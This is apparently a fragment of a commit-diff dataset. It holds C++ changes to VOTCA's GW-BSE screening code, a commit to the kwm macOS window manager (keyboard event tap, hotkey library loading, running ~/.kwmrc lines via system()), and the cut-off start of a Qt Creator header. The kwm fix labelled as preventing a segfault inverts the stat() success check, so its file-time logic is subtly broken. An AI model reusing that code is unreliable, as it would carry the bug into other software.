part: \" << _screening_freq( _i_freq, 0 ) << \" imaginary part: \"  << _screening_freq( _i_freq, 1 ) << flush;\n                    exit(1);\n                    }   \n\n        } \/\/ loop over frequencies\n\n        return;\n    }\n        \n        \n   \n    void GWBSE::RPA_prepare_threecenters(TCMatrix& _Mmn_RPA,const TCMatrix& _Mmn_full){\n        \n        ub::range full=ub::range(0, _Mmn_full.get_beta());\n        ub::range RPA_cut=ub::range(_Mmn_RPA.get_nmin() - _Mmn_full.get_nmin(), _Mmn_RPA.get_nmax() - _Mmn_full.get_nmin() + 1);\n            \/\/ loop over m-levels in _Mmn_RPA\n            #pragma omp parallel for \n            for (int _m_level = 0; _m_level < _Mmn_RPA.size(); _m_level++) {\n          \n                \/\/ copy to _Mmn_RPA\n                _Mmn_RPA[ _m_level ] = ub::project(_Mmn_full[ _m_level ], full, RPA_cut);\n              \n\n            }\/\/ loop m-levels\n     return;   \n    } \n\n    \n    \n    \n \n}};\n<commit_msg>bug fixed, now correct<commit_after>\/*\n *            Copyright 2009-2017 The VOTCA Development Team\n *                       (http:\/\/www.votca.org)\n *\n *      Licensed under the Apache License, Version 2.0 (the \"License\")\n *\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *              http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\n\n#include <votca\/xtp\/gwbse.h>\n\n#include <boost\/format.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/numeric\/ublas\/operation.hpp>\n#include <votca\/xtp\/aomatrix.h>\n#include <votca\/xtp\/threecenters.h>\n\/\/ #include <votca\/xtp\/logger.h>\n#include <votca\/xtp\/qmpackagefactory.h>\n#include <boost\/math\/constants\/constants.hpp>\n#include <boost\/numeric\/ublas\/symmetric.hpp>\n#include <votca\/xtp\/aoshell.h>\n\nusing boost::format;\nusing namespace boost::filesystem;\n\nnamespace votca {\n    namespace xtp {\n        namespace ub = boost::numeric::ublas;\n\n        void GWBSE::PPM_construct_parameters(const ub::matrix<double>& _overlap_cholesky_inverse) {\n            \n            \/\/ multiply with L-1^t from the right\n             \n            ub::matrix<double> _temp = ub::prod(_epsilon[0], ub::trans(_overlap_cholesky_inverse));\n            \/\/ multiply with L-1 from the left\n            \n            _temp = ub::prod(_overlap_cholesky_inverse, _temp);\n\n            \/\/ get eigenvalues and eigenvectors of this matrix\n            ub::vector<double> _eigenvalues;\n            ub::matrix<double> _eigenvectors;\n           \n            linalg_eigenvalues(_temp, _eigenvalues, _eigenvectors);\n            _eigenvectors=ub::trans(_eigenvectors);\n            \/\/ multiply eigenvectors with overlap_cholesky_inverse and store as eigenvalues of epsilon\n            _ppm_phi = ub::prod(_eigenvectors, _overlap_cholesky_inverse);\n            \n            \/\/ store PPM weights from eigenvalues\n            _ppm_weight.resize(_eigenvalues.size());\n            for (unsigned _i = 0; _i < _eigenvalues.size(); _i++) {\n                _ppm_weight(_i) = 1.0 - 1.0 \/ _eigenvalues(_i);\n            }\n\n            \/\/ determine PPM frequencies\n            _ppm_freq.resize(_eigenvalues.size());\n            \/\/ a) phi^t * epsilon(1) * phi \n           \n            _temp = ub::prod(_ppm_phi, _epsilon[1]);\n            \n            _eigenvectors = ub::prod(_temp, ub::trans(_ppm_phi));\n            \/\/ b) invert\n            \n            linalg_invert(_eigenvectors, _temp);\n            \/\/ c) PPM parameters -> diagonal elements\n            \n            #pragma omp parallel for \n            for (unsigned _i = 0; _i < _eigenvalues.size(); _i++) {\n\n                if (_screening_freq(1, 0) == 0.0) {\n                    if (_ppm_weight(_i) < 1.e-5) {\n                        _ppm_weight(_i) = 0.0;\n                        _ppm_freq(_i) = 0.5;\/\/Hartree\n                        continue;\n                    } else {\n                        double _nom = _temp(_i, _i) - 1.0;\n                        double _frac = -1.0 * _nom \/ (_nom + _ppm_weight(_i)) * _screening_freq(1, 1) * _screening_freq(1, 1);\n                        _ppm_freq(_i) = sqrt(std::abs(_frac));\n                    }\n\n                } else {\n                    \/\/ only purely imaginary frequency assumed\n                    cerr << \" mixed frequency! real part: \" << _screening_freq(1, 0) << \" imaginary part: \" << _screening_freq(1, 1) << flush;\n                    exit(1);\n                }\n\n            }\n \n            \/\/ epsilon can be deleted\n            _epsilon[0].resize(0, 0);\n            _epsilon[1].resize(0, 0);\n            \n\n            return;\n        }\n        \n        \n        \/\/imaginary\n        ub::matrix<double> GWBSE::RPA_imaginary(const TCMatrix& _Mmn_RPA,const double screening_freq) {\n            const int _size = _Mmn_RPA.get_beta(); \/\/ size of gwbasis\n            const int index_n = _Mmn_RPA.get_nmin();\n            const int index_m = _Mmn_RPA.get_mmin();\n            const double screenf2=screening_freq * screening_freq;\n            \n            std::vector<ub::matrix<double> > result_thread;\n            unsigned nthreads = 1;\n            #ifdef _OPENMP\n               nthreads = omp_get_max_threads();\n            #endif\n            const ub::vector<double>& qp_energies=   _qp_energies;\n              \n            for(unsigned i=0;i<nthreads;++i){\n                result_thread.push_back(ub::zero_matrix<double>(_size));\n            }\n            \n            #pragma omp parallel for \n            for(unsigned thread=0;thread<nthreads;++thread){\n            for (int _m_level = thread; _m_level < _Mmn_RPA.get_mtot(); _m_level+=nthreads) {\n                const double _qp_energy_m=qp_energies(_m_level + index_m);\n#if (GWBSE_DOUBLE)\n                const ub::matrix<double>& Mmn_RPA = _Mmn_RPA[ _m_level ];\n#else\n                const ub::matrix<double> Mmn_RPA = _Mmn_RPA[ _m_level ];\n#endif\n                \/\/ a temporary matrix, that will get filled in empty levels loop\n                ub::matrix<double> _temp = ub::matrix<double>(_Mmn_RPA.get_ntot(), _size);\n\n                \/\/ loop over empty levels\n                for (int _n_level = 0; _n_level < _Mmn_RPA.get_ntot(); _n_level++) {\n                    \n\n                    const double _deltaE = qp_energies(_n_level + index_n) -_qp_energy_m ; \/\/ get indices and units right!!!\n\n                    \/\/ this only works, if we have either purely real or purely imaginary frequencies\n\n                    \/\/ purely imaginary\n                    const double _energy_factor = 4.0 * _deltaE \/ (_deltaE * _deltaE + screenf2);\/\/hartree\n                    for (int _i_gw = 0; _i_gw < _size; _i_gw++) {\n                        _temp(_n_level, _i_gw) = _energy_factor * Mmn_RPA(_i_gw, _n_level);\n                    } \/\/ matrix size\n\n                } \/\/ empty levels\n\n                \/\/ now multiply and add to epsilon\n                result_thread[thread] += ub::prod(Mmn_RPA, _temp);\n            } \/\/ occupied levels\n            }\n            ub::matrix<double> result=ub::zero_matrix<double>(_size);\n               for(unsigned thread=0;thread<nthreads;++thread){\n                   result+=result_thread[thread];\n               }\n            return result;\n        }\n        \/\/real\n\n        ub::matrix<double> GWBSE::RPA_real(const TCMatrix& _Mmn_RPA, const double screening_freq) {\n            const int _size = _Mmn_RPA.get_beta(); \/\/ size of gwbasis\n            const int index_n = _Mmn_RPA.get_nmin();\n            const int index_m = _Mmn_RPA.get_mmin();\n            const ub::vector<double>& qp_energies=   _qp_energies;\n            \n            std::vector<ub::matrix<double> > result_thread;\n            unsigned nthreads = 1;\n            #ifdef _OPENMP\n               nthreads = omp_get_max_threads();\n            #endif\n               \n              \n            for(unsigned i=0;i<nthreads;++i){\n                result_thread.push_back(ub::zero_matrix<double>(_size));\n            }\n            \n            #pragma omp parallel for \n            for(unsigned thread=0;thread<nthreads;++thread){\n            for (int _m_level = thread; _m_level < _Mmn_RPA.get_mtot(); _m_level+=nthreads) {\n                const double _qp_energy_m=qp_energies(_m_level + index_m);\n                \n                \n#if (GWBSE_DOUBLE)\n                const ub::matrix<double>& Mmn_RPA = _Mmn_RPA[ _m_level ];\n#else\n                const ub::matrix<double> Mmn_RPA = _Mmn_RPA[ _m_level ];\n#endif\n\n                \/\/ a temporary matrix, that will get filled in empty levels loop\n                ub::matrix<double> _temp = ub::matrix<double>(_Mmn_RPA.get_ntot(), _size);\n                \n\n                \/\/ loop over empty levels\n                for (int _n_level = 0; _n_level < _Mmn_RPA.get_ntot(); _n_level++) {\n                    int index_n = _Mmn_RPA.get_nmin();\n\n\n                    const double _deltaE = qp_energies(_n_level + index_n) - _qp_energy_m; \/\/ get indices and units right!!!\n\n                    \/\/ this only works, if we have either purely real or purely imaginary frequencies\n\n                    \/\/ purely real\n                    const double _energy_factor =2.0*  (1.0 \/ (_deltaE - screening_freq) + 1.0 \/ (_deltaE + screening_freq));\/\/hartree\n\n                    for (int _i_gw = 0; _i_gw < _size; _i_gw++) {\n                        _temp(_n_level, _i_gw) = _energy_factor * Mmn_RPA(_i_gw, _n_level);\n                    } \/\/ matrix size\n\n                } \/\/ empty levels\n\n                \/\/ now multiply and add to epsilon\n               \n               \n                result_thread[thread] += ub::prod(Mmn_RPA, _temp);\n                \n            } \/\/ occupied levels\n            }\n               ub::matrix<double> result=ub::zero_matrix<double>(_size);\n               for(unsigned thread=0;thread<nthreads;++thread){\n                   result+=result_thread[thread];\n               }\n              \n            return result;\n        }\n        \n\n    void GWBSE::RPA_calculate_epsilon(const TCMatrix& _Mmn_RPA){\n\n        \/\/ loop over frequencies\n        for ( unsigned _i_freq = 0 ; _i_freq < _screening_freq.size1() ; _i_freq++ ){\n           \n             if ( _screening_freq( _i_freq, 0) == 0.0 ) {         \n                 _epsilon[ _i_freq ]+=RPA_imaginary(_Mmn_RPA, _screening_freq( _i_freq, 1));\n             }\n\n             else if ( _screening_freq( _i_freq, 1) == 0.0  ) {\n                  \/\/ purely real\n                 _epsilon[ _i_freq ]+= RPA_real(_Mmn_RPA, _screening_freq( _i_freq, 0));\n                    } \n             else {\n                    \/\/ mixed -> FAIL\n                    cerr << \" mixed frequency! real part: \" << _screening_freq( _i_freq, 0 ) << \" imaginary part: \"  << _screening_freq( _i_freq, 1 ) << flush;\n                    exit(1);\n                    }   \n\n        } \/\/ loop over frequencies\n\n        return;\n    }\n        \n        \n   \n    void GWBSE::RPA_prepare_threecenters(TCMatrix& _Mmn_RPA,const TCMatrix& _Mmn_full){\n        \n        ub::range full=ub::range(0, _Mmn_full.get_beta());\n        ub::range RPA_cut=ub::range(_Mmn_RPA.get_nmin() - _Mmn_full.get_nmin(), _Mmn_RPA.get_nmax() - _Mmn_full.get_nmin() + 1);\n            \/\/ loop over m-levels in _Mmn_RPA\n            #pragma omp parallel for \n            for (int _m_level = 0; _m_level < _Mmn_RPA.size(); _m_level++) {\n          \n                \/\/ copy to _Mmn_RPA\n                _Mmn_RPA[ _m_level ] = ub::project(_Mmn_full[ _m_level ], full, RPA_cut);\n              \n\n            }\/\/ loop m-levels\n     return;   \n    } \n\n    \n    \n    \n \n}};\n<|endoftext|>"}
{"text":"<commit_before>#include \"kwm.h\"\n\nCFMachPortRef EventTap;\n\nkwm_code KWMCode;\nstd::string KwmFilePath;\nstd::string HotkeySOFullFilePath;\nbool KwmUseBuiltinHotkeys;\n\nuint32_t MaxDisplayCount = 5;\nuint32_t ActiveDisplaysCount;\nCGDirectDisplayID ActiveDisplays[5];\n\nscreen_info *Screen;\nint DefaultPaddingTop = 40, DefaultPaddingBottom = 20;\nint DefaultPaddingLeft = 20, DefaultPaddingRight = 20;\nint DefaultGapVertical = 10, DefaultGapHorizontal = 10;\n\nstd::map<unsigned int, screen_info> DisplayMap;\nstd::vector<window_info> WindowLst;\nstd::vector<int> FloatingSpaceLst;\nstd::vector<std::string> FloatingAppLst;\nstd::vector<int> FloatingWindowLst;\n\nProcessSerialNumber FocusedPSN;\nwindow_info *FocusedWindow;\nfocus_option KwmFocusMode;\nint KwmSplitMode = -1;\nint MarkedWindowID = -1;\n\npthread_t BackgroundThread;\npthread_t DaemonThread;\n\npthread_mutex_t BackgroundLock;\n\nCGEventRef CGEventCallback(CGEventTapProxy Proxy, CGEventType Type, CGEventRef Event, void *Refcon)\n{\n    pthread_mutex_lock(&BackgroundLock);\n\n    switch(Type)\n    {\n        case kCGEventTapDisabledByTimeout:\n        case kCGEventTapDisabledByUserInput:\n        {\n            DEBUG(\"Restarting Event Tap\")\n            CGEventTapEnable(EventTap, true);\n        } break;\n        case kCGEventKeyDown:\n        {\n            if(KwmUseBuiltinHotkeys)\n            {\n                CGEventFlags Flags = CGEventGetFlags(Event);\n                bool CmdKey = (Flags & kCGEventFlagMaskCommand) == kCGEventFlagMaskCommand;\n                bool AltKey = (Flags & kCGEventFlagMaskAlternate) == kCGEventFlagMaskAlternate;\n                bool CtrlKey = (Flags & kCGEventFlagMaskControl) == kCGEventFlagMaskControl;\n                bool ShiftKey = (Flags & kCGEventFlagMaskShift) == kCGEventFlagMaskShift;\n\n                CGKeyCode Keycode = (CGKeyCode)CGEventGetIntegerValueField(Event, kCGKeyboardEventKeycode);\n\n                std::string NewHotkeySOFileTime = KwmGetFileTime(HotkeySOFullFilePath.c_str());\n                if(NewHotkeySOFileTime != KWMCode.HotkeySOFileTime)\n                {\n                    DEBUG(\"Reloading hotkeys.so\")\n                    UnloadKwmCode(&KWMCode);\n                    KWMCode = LoadKwmCode();\n                }\n\n                if(KWMCode.IsValid)\n                {\n                    \/\/ Hotkeys specific to Kwms functionality\n                    if(KWMCode.KWMHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return NULL;\n                    }\n\n                    \/\/ Capture custom hotkeys specified by the user\n                    if(KWMCode.CustomHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return NULL;\n                    }\n\n                    \/\/ Let system hotkeys pass through as normal\n                    if(KWMCode.SystemHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return Event;\n                    }\n\n                    int NewKeycode;\n                    KWMCode.RemapKeys(Event, &CmdKey, &CtrlKey, &AltKey, &ShiftKey, Keycode, &NewKeycode);\n                    if(NewKeycode != -1)\n                    {\n                        CGEventSetFlags(Event, 0);\n\n                        if(CmdKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskCommand);\n\n                        if(AltKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskAlternate);\n\n                        if(CtrlKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskControl);\n\n                        if(ShiftKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskShift);\n\n                        CGEventSetIntegerValueField(Event, kCGKeyboardEventKeycode, NewKeycode);\n                    }\n                }\n            }\n\n            if(KwmFocusMode == FocusModeAutofocus)\n            {\n                CGEventSetIntegerValueField(Event, kCGKeyboardEventAutorepeat, 0);\n                CGEventPostToPSN(&FocusedPSN, Event);\n                pthread_mutex_unlock(&BackgroundLock);\n                return NULL;\n            }\n        } break;\n        case kCGEventMouseMoved:\n        {\n            if(KwmFocusMode != FocusModeDisabled)\n                FocusWindowBelowCursor();\n        } break;\n    }\n\n    pthread_mutex_unlock(&BackgroundLock);\n    return Event;\n}\n\nkwm_code LoadKwmCode()\n{\n    kwm_code Code = {};\n\n    Code.HotkeySOFileTime = KwmGetFileTime(HotkeySOFullFilePath.c_str());\n    Code.KwmHotkeySO = dlopen(HotkeySOFullFilePath.c_str(),  RTLD_LAZY);\n    if(Code.KwmHotkeySO)\n    {\n        Code.KWMHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"KWMHotkeyCommands\");\n        Code.SystemHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"SystemHotkeyCommands\");\n        Code.CustomHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"CustomHotkeyCommands\");\n        Code.RemapKeys = (kwm_key_remap*) dlsym(Code.KwmHotkeySO, \"RemapKeys\");\n    }\n    else\n    {\n        DEBUG(\"LoadKwmCode() Could not open '\" << HotkeySOFullFilePath << \"'\")\n    }\n\n    Code.IsValid = (Code.KWMHotkeyCommands && Code.SystemHotkeyCommands && Code.CustomHotkeyCommands && Code.RemapKeys);\n    return Code;\n}\n\nvoid UnloadKwmCode(kwm_code *Code)\n{\n    if(Code->KwmHotkeySO)\n        dlclose(Code->KwmHotkeySO);\n\n    Code->HotkeySOFileTime = \"\";\n    Code->KWMHotkeyCommands = 0;\n    Code->SystemHotkeyCommands = 0;\n    Code->CustomHotkeyCommands = 0;\n    Code->RemapKeys = 0;\n    Code->IsValid = 0;\n}\n\nstd::string KwmGetFileTime(const char *File)\n{\n    struct stat attr;\n    stat(File, &attr);\n\n    return ctime(&attr.st_mtime);\n}\n\nvoid KwmQuit()\n{\n    exit(0);\n}\n\nvoid * KwmWindowMonitor(void*)\n{\n    while(1)\n    {\n        pthread_mutex_lock(&BackgroundLock);\n        if(KwmFocusMode != FocusModeDisabled)\n            UpdateWindowTree();\n\n        pthread_mutex_unlock(&BackgroundLock);\n        usleep(200000);\n    }\n}\n\nvoid KwmExecuteConfig()\n{\n    char *HomeP = std::getenv(\"HOME\");\n    if(!HomeP)\n    {\n        DEBUG(\"Failed to get environment variable 'HOME'\")\n        return;\n    }\n\n    std::string ENV_HOME = HomeP;\n    std::string KWM_CONFIG_FILE = \".kwmrc\";\n\n    std::ifstream ConfigFD(ENV_HOME + \"\/\" + KWM_CONFIG_FILE);\n    if(ConfigFD.fail())\n    {\n        DEBUG(\"Could not open \" << ENV_HOME << \"\/\" << KWM_CONFIG_FILE\n              << \", make sure the file exists.\" << std::endl)\n        return;\n    }\n\n    std::string Line;\n    while(std::getline(ConfigFD, Line))\n    {\n        if(!Line.empty() && Line[0] != '#')\n            system(Line.c_str());\n    }\n}\n\nvoid KwmInit()\n{\n    if(!CheckPrivileges())\n        Fatal(\"Could not access OSX Accessibility!\"); \n\n    if (pthread_mutex_init(&BackgroundLock, NULL) != 0)\n        Fatal(\"Could not create mutex!\");\n\n    if(KwmStartDaemon())\n        pthread_create(&DaemonThread, NULL, &KwmDaemonHandleConnectionBG, NULL);\n    else\n        Fatal(\"Kwm: Could not start daemon..\");\n\n    KwmFocusMode = FocusModeAutoraise;\n    KwmFilePath = getcwd(NULL, 0);\n    HotkeySOFullFilePath = KwmFilePath + \"\/hotkeys.so\";\n    KwmUseBuiltinHotkeys = true;\n\n    KwmExecuteConfig();\n    KWMCode = LoadKwmCode();\n\n    GetActiveDisplays();\n    pthread_create(&BackgroundThread, NULL, &KwmWindowMonitor, NULL);\n}\n\nbool CheckPrivileges()\n{\n    const void * Keys[] = { kAXTrustedCheckOptionPrompt };\n    const void * Values[] = { kCFBooleanTrue };\n\n    CFDictionaryRef Options;\n    Options = CFDictionaryCreate(kCFAllocatorDefault, \n            Keys, Values, sizeof(Keys) \/ sizeof(*Keys),\n            &kCFCopyStringDictionaryKeyCallBacks,\n            &kCFTypeDictionaryValueCallBacks);\n\n    return AXIsProcessTrustedWithOptions(Options);\n}\n\nvoid Fatal(const std::string &Err)\n{\n    std::cout << Err << std::endl;\n    exit(1);\n}\n\nint main(int argc, char **argv)\n{\n    KwmInit();\n\n    CGEventMask EventMask;\n    CFRunLoopSourceRef RunLoopSource;\n\n    EventMask = ((1 << kCGEventKeyDown) | (1 << kCGEventMouseMoved));\n    EventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, EventMask, CGEventCallback, NULL);\n\n    if(!EventTap || !CGEventTapIsEnabled(EventTap))\n        Fatal(\"ERROR: Could not create event-tap!\");\n\n    RunLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, EventTap, 0);\n    CFRunLoopAddSource(CFRunLoopGetCurrent(), RunLoopSource, kCFRunLoopCommonModes);\n    CGEventTapEnable(EventTap, true);\n    NSApplicationLoad();\n    CFRunLoopRun();\n    return 0;\n}\n<commit_msg>should no longer segfault if hotkeys.so becomes unavailable while kwm is running<commit_after>#include \"kwm.h\"\n\nCFMachPortRef EventTap;\n\nkwm_code KWMCode;\nstd::string KwmFilePath;\nstd::string HotkeySOFullFilePath;\nbool KwmUseBuiltinHotkeys;\n\nuint32_t MaxDisplayCount = 5;\nuint32_t ActiveDisplaysCount;\nCGDirectDisplayID ActiveDisplays[5];\n\nscreen_info *Screen;\nint DefaultPaddingTop = 40, DefaultPaddingBottom = 20;\nint DefaultPaddingLeft = 20, DefaultPaddingRight = 20;\nint DefaultGapVertical = 10, DefaultGapHorizontal = 10;\n\nstd::map<unsigned int, screen_info> DisplayMap;\nstd::vector<window_info> WindowLst;\nstd::vector<int> FloatingSpaceLst;\nstd::vector<std::string> FloatingAppLst;\nstd::vector<int> FloatingWindowLst;\n\nProcessSerialNumber FocusedPSN;\nwindow_info *FocusedWindow;\nfocus_option KwmFocusMode;\nint KwmSplitMode = -1;\nint MarkedWindowID = -1;\n\npthread_t BackgroundThread;\npthread_t DaemonThread;\n\npthread_mutex_t BackgroundLock;\n\nCGEventRef CGEventCallback(CGEventTapProxy Proxy, CGEventType Type, CGEventRef Event, void *Refcon)\n{\n    pthread_mutex_lock(&BackgroundLock);\n\n    switch(Type)\n    {\n        case kCGEventTapDisabledByTimeout:\n        case kCGEventTapDisabledByUserInput:\n        {\n            DEBUG(\"Restarting Event Tap\")\n            CGEventTapEnable(EventTap, true);\n        } break;\n        case kCGEventKeyDown:\n        {\n            if(KwmUseBuiltinHotkeys)\n            {\n                CGEventFlags Flags = CGEventGetFlags(Event);\n                bool CmdKey = (Flags & kCGEventFlagMaskCommand) == kCGEventFlagMaskCommand;\n                bool AltKey = (Flags & kCGEventFlagMaskAlternate) == kCGEventFlagMaskAlternate;\n                bool CtrlKey = (Flags & kCGEventFlagMaskControl) == kCGEventFlagMaskControl;\n                bool ShiftKey = (Flags & kCGEventFlagMaskShift) == kCGEventFlagMaskShift;\n\n                CGKeyCode Keycode = (CGKeyCode)CGEventGetIntegerValueField(Event, kCGKeyboardEventKeycode);\n\n                std::string NewHotkeySOFileTime = KwmGetFileTime(HotkeySOFullFilePath.c_str());\n                if(NewHotkeySOFileTime != \"\" &&\n                   NewHotkeySOFileTime != KWMCode.HotkeySOFileTime)\n                {\n                    DEBUG(\"Reloading hotkeys.so\")\n                    UnloadKwmCode(&KWMCode);\n                    KWMCode = LoadKwmCode();\n                }\n\n                if(KWMCode.IsValid)\n                {\n                    \/\/ Hotkeys specific to Kwms functionality\n                    if(KWMCode.KWMHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return NULL;\n                    }\n\n                    \/\/ Capture custom hotkeys specified by the user\n                    if(KWMCode.CustomHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return NULL;\n                    }\n\n                    \/\/ Let system hotkeys pass through as normal\n                    if(KWMCode.SystemHotkeyCommands(CmdKey, CtrlKey, AltKey, Keycode))\n                    {\n                        pthread_mutex_unlock(&BackgroundLock);\n                        return Event;\n                    }\n\n                    int NewKeycode;\n                    KWMCode.RemapKeys(Event, &CmdKey, &CtrlKey, &AltKey, &ShiftKey, Keycode, &NewKeycode);\n                    if(NewKeycode != -1)\n                    {\n                        CGEventSetFlags(Event, 0);\n\n                        if(CmdKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskCommand);\n\n                        if(AltKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskAlternate);\n\n                        if(CtrlKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskControl);\n\n                        if(ShiftKey)\n                            CGEventSetFlags(Event, kCGEventFlagMaskShift);\n\n                        CGEventSetIntegerValueField(Event, kCGKeyboardEventKeycode, NewKeycode);\n                    }\n                }\n            }\n\n            if(KwmFocusMode == FocusModeAutofocus)\n            {\n                CGEventSetIntegerValueField(Event, kCGKeyboardEventAutorepeat, 0);\n                CGEventPostToPSN(&FocusedPSN, Event);\n                pthread_mutex_unlock(&BackgroundLock);\n                return NULL;\n            }\n        } break;\n        case kCGEventMouseMoved:\n        {\n            if(KwmFocusMode != FocusModeDisabled)\n                FocusWindowBelowCursor();\n        } break;\n    }\n\n    pthread_mutex_unlock(&BackgroundLock);\n    return Event;\n}\n\nkwm_code LoadKwmCode()\n{\n    kwm_code Code = {};\n\n    Code.HotkeySOFileTime = KwmGetFileTime(HotkeySOFullFilePath.c_str());\n    Code.KwmHotkeySO = dlopen(HotkeySOFullFilePath.c_str(),  RTLD_LAZY);\n    if(Code.KwmHotkeySO)\n    {\n        Code.KWMHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"KWMHotkeyCommands\");\n        Code.SystemHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"SystemHotkeyCommands\");\n        Code.CustomHotkeyCommands = (kwm_hotkey_commands*) dlsym(Code.KwmHotkeySO, \"CustomHotkeyCommands\");\n        Code.RemapKeys = (kwm_key_remap*) dlsym(Code.KwmHotkeySO, \"RemapKeys\");\n    }\n    else\n    {\n        DEBUG(\"LoadKwmCode() Could not open '\" << HotkeySOFullFilePath << \"'\")\n    }\n\n    Code.IsValid = (Code.KWMHotkeyCommands && Code.SystemHotkeyCommands && Code.CustomHotkeyCommands && Code.RemapKeys);\n    return Code;\n}\n\nvoid UnloadKwmCode(kwm_code *Code)\n{\n    if(Code->KwmHotkeySO)\n        dlclose(Code->KwmHotkeySO);\n\n    Code->HotkeySOFileTime = \"\";\n    Code->KWMHotkeyCommands = 0;\n    Code->SystemHotkeyCommands = 0;\n    Code->CustomHotkeyCommands = 0;\n    Code->RemapKeys = 0;\n    Code->IsValid = 0;\n}\n\nstd::string KwmGetFileTime(const char *File)\n{\n    struct stat attr;\n    return stat(File, &attr) ? ctime(&attr.st_mtime) : \"file not found\";\n}\n\nvoid KwmQuit()\n{\n    exit(0);\n}\n\nvoid * KwmWindowMonitor(void*)\n{\n    while(1)\n    {\n        pthread_mutex_lock(&BackgroundLock);\n        if(KwmFocusMode != FocusModeDisabled)\n            UpdateWindowTree();\n\n        pthread_mutex_unlock(&BackgroundLock);\n        usleep(200000);\n    }\n}\n\nvoid KwmExecuteConfig()\n{\n    char *HomeP = std::getenv(\"HOME\");\n    if(!HomeP)\n    {\n        DEBUG(\"Failed to get environment variable 'HOME'\")\n        return;\n    }\n\n    std::string ENV_HOME = HomeP;\n    std::string KWM_CONFIG_FILE = \".kwmrc\";\n\n    std::ifstream ConfigFD(ENV_HOME + \"\/\" + KWM_CONFIG_FILE);\n    if(ConfigFD.fail())\n    {\n        DEBUG(\"Could not open \" << ENV_HOME << \"\/\" << KWM_CONFIG_FILE\n              << \", make sure the file exists.\" << std::endl)\n        return;\n    }\n\n    std::string Line;\n    while(std::getline(ConfigFD, Line))\n    {\n        if(!Line.empty() && Line[0] != '#')\n            system(Line.c_str());\n    }\n}\n\nvoid KwmInit()\n{\n    if(!CheckPrivileges())\n        Fatal(\"Could not access OSX Accessibility!\"); \n\n    if (pthread_mutex_init(&BackgroundLock, NULL) != 0)\n        Fatal(\"Could not create mutex!\");\n\n    if(KwmStartDaemon())\n        pthread_create(&DaemonThread, NULL, &KwmDaemonHandleConnectionBG, NULL);\n    else\n        Fatal(\"Kwm: Could not start daemon..\");\n\n    KwmFocusMode = FocusModeAutoraise;\n    KwmFilePath = getcwd(NULL, 0);\n    HotkeySOFullFilePath = KwmFilePath + \"\/hotkeys.so\";\n    KwmUseBuiltinHotkeys = true;\n\n    KwmExecuteConfig();\n    KWMCode = LoadKwmCode();\n\n    GetActiveDisplays();\n    pthread_create(&BackgroundThread, NULL, &KwmWindowMonitor, NULL);\n}\n\nbool CheckPrivileges()\n{\n    const void * Keys[] = { kAXTrustedCheckOptionPrompt };\n    const void * Values[] = { kCFBooleanTrue };\n\n    CFDictionaryRef Options;\n    Options = CFDictionaryCreate(kCFAllocatorDefault, \n            Keys, Values, sizeof(Keys) \/ sizeof(*Keys),\n            &kCFCopyStringDictionaryKeyCallBacks,\n            &kCFTypeDictionaryValueCallBacks);\n\n    return AXIsProcessTrustedWithOptions(Options);\n}\n\nvoid Fatal(const std::string &Err)\n{\n    std::cout << Err << std::endl;\n    exit(1);\n}\n\nint main(int argc, char **argv)\n{\n    KwmInit();\n\n    CGEventMask EventMask;\n    CFRunLoopSourceRef RunLoopSource;\n\n    EventMask = ((1 << kCGEventKeyDown) | (1 << kCGEventMouseMoved));\n    EventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, EventMask, CGEventCallback, NULL);\n\n    if(!EventTap || !CGEventTapIsEnabled(EventTap))\n        Fatal(\"ERROR: Could not create event-tap!\");\n\n    RunLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, EventTap, 0);\n    CFRunLoopAddSource(CFRunLoopGetCurrent(), RunLoopSource, kCFRunLoopCommonModes);\n    CGEventTapEnable(EventTap, true);\n    NSApplicationLoad();\n    CFRunLoopRun();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you 